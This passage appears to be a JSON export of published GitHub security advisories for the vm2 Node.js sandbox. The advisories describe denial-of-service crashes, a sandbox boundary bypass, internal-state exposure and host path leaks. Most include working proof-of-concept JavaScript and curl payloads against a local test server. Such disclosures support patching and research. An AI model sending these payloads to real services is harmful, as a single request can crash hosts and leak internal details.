rl":"https://api.github.com/users/hongancalif/following{/other_user}","gists_url":"https://api.github.com/users/hongancalif/gists{/gist_id}","starred_url":"https://api.github.com/users/hongancalif/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hongancalif/subscriptions","organizations_url":"https://api.github.com/users/hongancalif/orgs","repos_url":"https://api.github.com/users/hongancalif/repos","events_url":"https://api.github.com/users/hongancalif/events{/privacy}","received_events_url":"https://api.github.com/users/hongancalif/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-6785-pvv7-mvg7","cve_id":"CVE-2026-44004","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-6785-pvv7-mvg7","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7","summary":"Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","description":"### Summary\r\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\r\n\r\n### Details\r\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\r\n\r\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\r\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\r\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\r\n\r\nThis means:\r\n1. `timeout: 5000` does NOT protect against this attack\r\n2. A single call allocates the entire requested size at once\r\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\r\n\r\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\r\n\r\n### PoC\r\n\r\n**Library-level PoC (Node.js script — primary):**\r\n```javascript\r\nconst { VM } = require(\"vm2\");\r\nconst vm = new VM({ timeout: 5000 });\r\n\r\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\r\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\r\nconsole.log(result); // 104857600 — timeout had no effect\r\n\r\n// Control test — JavaScript loop IS caught by timeout\r\ntry {\r\n  vm.run(`var a=[]; while(true) a.push(1)`);\r\n} catch(e) {\r\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\r\n}\r\n```\r\n\r\n**HTTP demonstration (OOM crash):**\r\n```bash\r\n# 1. Confirm server is running\r\ncurl -s http://localhost:3000/api/execute \\\r\n  -X POST -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"\\\"alive\\\"\"}'\r\n# => {\"result\":\"\\\"alive\\\"\"}\r\n\r\n# 2. Send Buffer.alloc payload — process crashes with OOM\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\r\n# => empty response (process died)\r\n\r\n# 3. Check server logs:\r\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\r\n\r\n# Control test — JavaScript loop IS caught by timeout:\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\r\n# => {\"errors\":[\"Script execution timed out after 5000ms\"]}\r\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\r\n```\r\n\r\n### Impact\r\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\r\n- **Environment-dependent severity**:\r\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\r\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\r\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-6785-pvv7-mvg7","type":"GHSA"},{"value":"CVE-2026-44004","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:48Z","published_at":"2026-05-01T20:43:52Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"cwe_ids":["CWE-770"],"credits":[{"login":"koDove","type":"reporter"}],"credits_detailed":[{"user":{"login":"koDove","id":96663170,"node_id":"U_kgDOBcL2gg","avatar_url":"https://avatars.githubusercontent.com/u/96663170?v=4","gravatar_id":"","url":"https://api.github.com/users/koDove","html_url":"https://github.com/koDove","followers_url":"https://api.github.com/users/koDove/followers","following_url":"https://api.github.com/users/koDove/following{/other_user}","gists_url":"https://api.github.com/users/koDove/gists{/gist_id}","starred_url":"https://api.github.com/users/koDove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koDove/subscriptions","organizations_url":"https://api.github.com/users/koDove/orgs","repos_url":"https://api.github.com/users/koDove/repos","events_url":"https://api.github.com/users/koDove/events{/privacy}","received_events_url":"https://api.github.com/users/koDove/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}},{"ghsa_id":"GHSA-wp5r-2gw5-m7q7","cve_id":"CVE-2026-44003","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-wp5r-2gw5-m7q7","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","summary":"Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\r\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\r\n\r\n### Details\r\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\r\n\r\nWhen the fast-path is taken:\r\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\r\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\r\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\r\n\r\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\r\n\r\n### PoC\r\n\r\n**Library-level PoC (Node.js script — primary):**\r\n```javascript\r\nconst { VM } = require(\"vm2\");\r\nconst vm = new VM();\r\n\r\n// Access internal state (bypassed — no catch/import/async keywords)\r\nconst result = vm.run(`\r\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\r\n  Object.keys(x).join(\",\")\r\n`);\r\nconsole.log(result); // \"wrapWith,handleException,import\"\r\n\r\n// Control test — blocked when catch keyword is present\r\ntry {\r\n  vm.run(`\r\n    try {\r\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\r\n    } catch(e) { e.message }\r\n  `);\r\n} catch(e) {\r\n  console.log(e.message); // \"Use of internal vm2 state variable\"\r\n}\r\n```\r\n\r\n**HTTP demonstration:**\r\n```bash\r\n# Internal state access (bypassed)\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\r\n# Result: \"wrapWith,handleException,import\"\r\n\r\n# Control test — blocked when catch keyword is present\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\r\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\r\n```\r\n\r\n**Suggested fix:**\r\n```javascript\r\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\r\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\r\n    return {__proto__: null, code, hasAsync: false};\r\n}\r\n```\r\n\r\n### Impact\r\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\r\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\r\n- **Scope**: All applications using vm2. No special configuration required.","severity":"medium","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-wp5r-2gw5-m7q7","type":"GHSA"},{"value":"CVE-2026-44003","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:45Z","published_at":"2026-05-01T20:44:52Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"koDove","type":"reporter"}],"credits_detailed":[{"user":{"login":"koDove","id":96663170,"node_id":"U_kgDOBcL2gg","avatar_url":"https://avatars.githubusercontent.com/u/96663170?v=4","gravatar_id":"","url":"https://api.github.com/users/koDove","html_url":"https://github.com/koDove","followers_url":"https://api.github.com/users/koDove/followers","following_url":"https://api.github.com/users/koDove/following{/other_user}","gists_url":"https://api.github.com/users/koDove/gists{/gist_id}","starred_url":"https://api.github.com/users/koDove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koDove/subscriptions","organizations_url":"https://api.github.com/users/koDove/orgs","repos_url":"https://api.github.com/users/koDove/repos","events_url":"https://api.github.com/users/koDove/events{/privacy}","received_events_url":"https://api.github.com/users/koDove/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3}},{"ghsa_id":"GHSA-v27g-jcqj-v8rw","cve_id":"CVE-2026-44002","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-v27g-jcqj-v8rw","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw","summary":"Host File Path Disclosure via Stack Trace Information Leak","description":"### Summary\r\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\r\n\r\n### Details\r\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\r\n\r\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\r\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\r\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\r\n\r\nTwo exploitation paths exist:\r\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\r\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\r\n\r\n### PoC\r\n\r\n**Library-level PoC (Node.js script — primary):**\r\n```javascript\r\nconst { VM } = require(\"vm2\");\r\nconst vm = new VM();\r\n\r\n// Path A — Default error.stack\r\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\r\nconsole.log(result1);\r\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\r\n//                   /app/src/server.js:49:20\r\n\r\n// Path B — prepareStackTrace extraction\r\nconst result2 = vm.run(`\r\n  Error.prepareStackTrace = function(e, sst) {\r\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\r\n  };\r\n  new Error().stack\r\n`);\r\nconsole.log(result2);\r\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\r\n```\r\n\r\n**HTTP demonstration:**\r\n```bash\r\n# Default error.stack\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\r\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\r\n\r\n# prepareStackTrace extraction\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\r\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\r\n```\r\n\r\n### Impact\r\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\r\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\r\n- **Scope**: All applications using vm2. No special configuration required.","severity":"medium","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-v27g-jcqj-v8rw","type":"GHSA"},{"value":"CVE-2026-44002","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:43Z","published_at":"2026-05-01T20:44:37Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-209","name":"Generation of Error Message Containing Sensitive Information"}],"cwe_ids":["CWE-209"],"credits":[{"login":"koDove","type":"reporter"}],"credits_detailed":[{"user":{"login":"koDove","id":96663170,"node_id":"U_kgDOBcL2gg","avatar_url":"https://avatars.githubusercontent.com/u/96663170?v=4","gravatar_id":"","url":"https://api.github.com/users/koDove","html_url":"https://github.com/koDove","followers_url":"https://api.github.com/users/koDove/followers","following_url":"https://api.github.com/users/koDove/following{/other_user}","gists_url":"https://api.github.com/users/koDove/gists{/gist_id}","starred_url":"https://api.github.com/users/koDove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koDove/subscriptions","organizations_url":"https://api.github.com/users/koDove/orgs","repos_url":"https://api.github.com/users/koDove/repos","events_url":"https://api.github.com/users/koDove/events{/privacy}","received_events_url":"https://api.github.com/users/koDove/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8}},{"ghsa_id":"GHSA-hw58-p9xv-2mjh","cve_id":"CVE-2026-44001","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-hw58-p9xv-2mjh","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh","summary":"Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)","description":"### Summary\r\nA sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the `onRejected` callback in `.then()` and `.catch()` overrides and did not address the executor-to-unhandledRejection path.\r\n\r\n### Details\r\nWhen sandboxed code creates a `Promise` whose executor sets `Error.name` to a `Symbol()` and then accesses `.stack`, V8's internal `FormatStackTrace` (C++) attempts `Symbol.toString()`, which throws a **host-realm TypeError**. Because this error originates inside the Promise executor and no `.catch()` handler is attached, it becomes an **unhandled rejection** that propagates to the host process.\r\n\r\n- `lib/setup-sandbox.js:38` — `localPromise` wraps the native `Promise` constructor but does not wrap the executor in try-catch.\r\n- `lib/setup-sandbox.js:165-230` — `resetPromiseSpecies` and the `.then()`/`.catch()` overrides sanitize the `onRejected` callback chains, but do not intercept unhandled rejections originating from the executor itself.\r\n\r\nThe CVE-2026-22709 patch (v3.10.2) sanitized `.then()` and `.catch()` callback chains but left the executor-to-unhandledRejection path completely open.\r\n\r\n**Root Cause**: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.\r\n\r\n**`allowAsync: false` does not help**: This setting only blocks `async`/`await` syntax and overrides `.then()`/`.catch()` to throw. The `Promise` constructor itself is still callable. Worse, because `.catch()` is blocked, any rejection from the executor is *guaranteed* to be unhandled — making `allowAsync: false` paradoxically more dangerous than `true` for this vulnerability.\r\n\r\n### PoC\r\n\r\n**Library-level PoC (Node.js script — primary):**\r\n```javascript\r\nconst { VM } = require(\"vm2\");\r\n\r\n// Works with ANY allowAsync setting — both true and false\r\nconst vm = new VM({ timeout: 5000, allowAsync: false });\r\n\r\ntry {\r\n  const result = vm.run(`\r\n    new Promise(function(r, j) {\r\n      var e = new Error();\r\n      e.name = Symbol();\r\n      e.stack;\r\n    });\r\n  `);\r\n  console.log(\"Result:\", result);   // Reaches here (returns Promise object)\r\n} catch (err) {\r\n  console.log(\"Caught:\", err);       // Never executed\r\n}\r\n\r\nconsole.log(\"After try-catch\");      // Also prints normally\r\n\r\n// But on the next microtask tick:\r\n// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]\r\n// Exit code: 1\r\n//\r\n// try-catch cannot help — vm.run() returns synchronously,\r\n// the rejection fires asynchronously outside any catch scope.\r\n//\r\n// NOTE: allowAsync: false only blocks async/await syntax and\r\n// .then()/.catch() method calls. The Promise constructor itself\r\n// still executes, and the unhandled rejection still propagates.\r\n// In fact, allowAsync: false makes it WORSE — .catch() is blocked,\r\n// so the rejection is guaranteed to be unhandled.\r\n```\r\n\r\n**HTTP demonstration (web service impact):**\r\n```bash\r\n# 1. Confirm server is running\r\ncurl -s http://localhost:3000/api/execute \\\r\n  -X POST -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"\\\"alive\\\"\"}'\r\n# => {\"output\":[],\"errors\":[],\"result\":\"\\\"alive\\\"\",\"executionTime\":1}\r\n\r\n# 2. Send payload — server process will crash\r\ncurl -s -X POST http://localhost:3000/api/execute \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"code\":\"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})\"}'\r\n\r\n# 3. Server is dead (connection refused until restart)\r\ncurl -s http://localhost:3000/  # => connection refused\r\n```\r\n\r\n### Impact\r\n- **DoS**: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.\r\n- **Persistent DoS despite restart policies**: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single `curl` request caused the Docker container to restart (confirmed via `StartedAt` timestamp change), and sending the next request immediately after restart triggered another crash. This creates a **continuous denial-of-service loop** where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.\r\n- **Amplification**: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.\r\n- **Scope**: **All applications using vm2, regardless of `allowAsync` setting.** `allowAsync: false` only blocks `async`/`await` syntax and `.then()`/`.catch()` method calls — the `Promise` constructor itself still executes, and the unhandled rejection still propagates. In fact, `allowAsync: false` makes the vulnerability *worse* because `.catch()` is blocked, guaranteeing the rejection is always unhandled.","severity":"high","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-hw58-p9xv-2mjh","type":"GHSA"},{"value":"CVE-2026-44001","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:38Z","published_at":"2026-05-01T20:43:31Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-248","name":"Uncaught Exception"}],"cwe_ids":["CWE-248"],"credits":[{"login":"koDove","type":"reporter"}],"credits_detailed":[{"user":{"login":"koDove","id":96663170,"node_id":"U_kgDOBcL2gg","avatar_url":"https://avatars.githubusercontent.com/u/96663170?v=4","gravatar_id":"","url":"https://api.github.com/users/koDove","html_url":"https://github.com/koDove","followers_url":"https://api.github.com/users/koDove/followers","following_url":"https://api.github.com/users/koDove/following{/other_user}","gists_url":"https://api.github.com/users/koDove/gists{/gist_id}","starred_url":"https://api.github.com/users/koDove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koDove/subscriptions","organizations_url":"https://api.github.com/users/koDove/orgs","repos_url":"https://api.github.com/users/koDove/repos","events_url":"https://api.github.com/users/koDove/events{/privacy}","received_events_url":"https://api.github.com/users/koDove/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6}},{"ghsa_id":"GHSA-mpf8-4hx2-7cjg","cve_id":"CVE-2026-44000","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-mpf8-4hx2-7cjg","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg","summary":"vm2 sandbox boundary bypass via host Promise resolution preserving host object identity","description":"### Summary\r\n\r\nA sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution.\r\n\r\nWhen a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:\r\n\r\n- Performing identity checks using host-side `WeakMap`\r\n- Mutating host object state from inside the sandbox\r\n\r\nThis behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.\r\n\r\nAs a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.\r\n\r\n---\r\n\r\n### Details\r\n\r\nIn `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:\r\n\r\n```js\r\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\r\n  resetPromiseSpecies(this);\r\n\r\n  if (typeof onFulfilled === 'function') {\r\n    const origOnFulfilled = onFulfilled;\r\n    onFulfilled = function onFulfilled(value) {\r\n      value = ensureThis(value);\r\n      return apply(origOnFulfilled, this, [value]);\r\n    };\r\n  }\r\n\r\n  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\r\n};\r\n\r\n\r\nThe wrapper calls ensureThis(value) before invoking the sandbox callback.\r\n\r\nHowever, ensureThis is implemented in bridge.js as thisEnsureThis():\r\n\r\nfunction thisEnsureThis(other) {\r\n  const type = typeof other;\r\n\r\n  switch (type) {\r\n    case 'object':\r\n      if (other === null) return null;\r\n\r\n    case 'function':\r\n      let proto = thisReflectGetPrototypeOf(other);\r\n\r\n      if (!proto) {\r\n        return other;\r\n      }\r\n\r\n      while (proto) {\r\n        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);\r\n\r\n        if (mapping) {\r\n          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\r\n          if (mapped) return mapped;\r\n          return mapping(defaultFactory, other);\r\n        }\r\n\r\n        proto = thisReflectGetPrototypeOf(proto);\r\n      }\r\n\r\n      return other;\r\n\r\nIf no prototype mapping is found, ensureThis() simply returns the original object:\r\n\r\nreturn other;\r\n\r\nThis means the sandbox receives the original host object instead of a proxied or sanitized representation.\r\n\r\nBecause of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.\r\n\r\nPoC\r\n\r\nThe following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.\r\n\r\nWeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.\r\n\r\nPoC Code\r\nimport {VM} from \"./index.js\";\r\n\r\nconst hostObj = {tag: \"HOST_OBJ\"};\r\nconst hostPromise = Promise.resolve(hostObj);\r\n\r\n// WeakMap created on the host\r\nconst wm = new WeakMap([[hostObj, \"HIT\"]]);\r\n\r\nconst vm = new VM({\r\n  sandbox: {hostPromise, wm},\r\n  timeout: 1000,\r\n  eval: false,\r\n  wasm: false,\r\n});\r\n\r\nconst code = `\r\n  hostPromise.then(v => ({\r\n    weakMapGet: wm.get(v),\r\n    typeofV: typeof v,\r\n    tag: v.tag\r\n  }))\r\n`;\r\n\r\nconst result = await vm.run(code);\r\n\r\nconsole.log(\"VM RESULT:\", 